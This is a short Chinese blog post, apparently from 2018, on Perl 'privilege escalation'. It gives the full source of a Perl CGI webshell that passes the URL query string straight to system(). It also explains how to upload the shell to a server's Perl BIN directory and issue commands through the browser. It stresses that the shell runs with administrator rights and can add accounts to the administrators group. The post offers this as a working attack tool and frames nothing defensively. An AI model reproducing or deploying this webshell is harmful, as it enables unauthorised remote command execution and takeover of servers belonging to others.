perl提升权限

原创于 2018-05-06 09:24:11 发布

· 1k 阅读

0 ·

版权

本文介绍了一种通过将Perl编写的WebShell放置在特定目录下，从而实现远程命令执行的方法。用户可通过浏览器访问特定URL来执行任意命令，并获取结果。此WebShell具有较高权限，可用于添加账户及进行其他管理操作。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

c:\prel，有时候不一定是这个目录(同样可以通过下载快捷方式看属性获知)用cgi的webshell放到PERL目录下的BIN目中

#!/usr/bin/perl
binmode(STDOUT);
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
$_ = $ENV{QUERY_STRING};
s/%20/ /ig;
s/%2f/\//ig;
$execthis = $_;
syswrite(STDOUT, "
\r\n", 13);open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";system($execthis);syswrite(STDOUT, "\r\n\r\n", 17);
close(STDERR);
close(STDOUT);
exit;

保存为cmd.pl上传至BIN目录执行,

(如果不能运行，可以试试改为cgi 扩展呢，把刚才的 pl文件改为 cgi文件)
在IE浏览窗口中提交提交 http://anyhost//cmd.pl?dir 即可开始执行命令,请注意这个SHELL是具有ADMIN权限的,
能够添加帐号并加入管理员组,书写规则是在?后加入你需要执行的命令.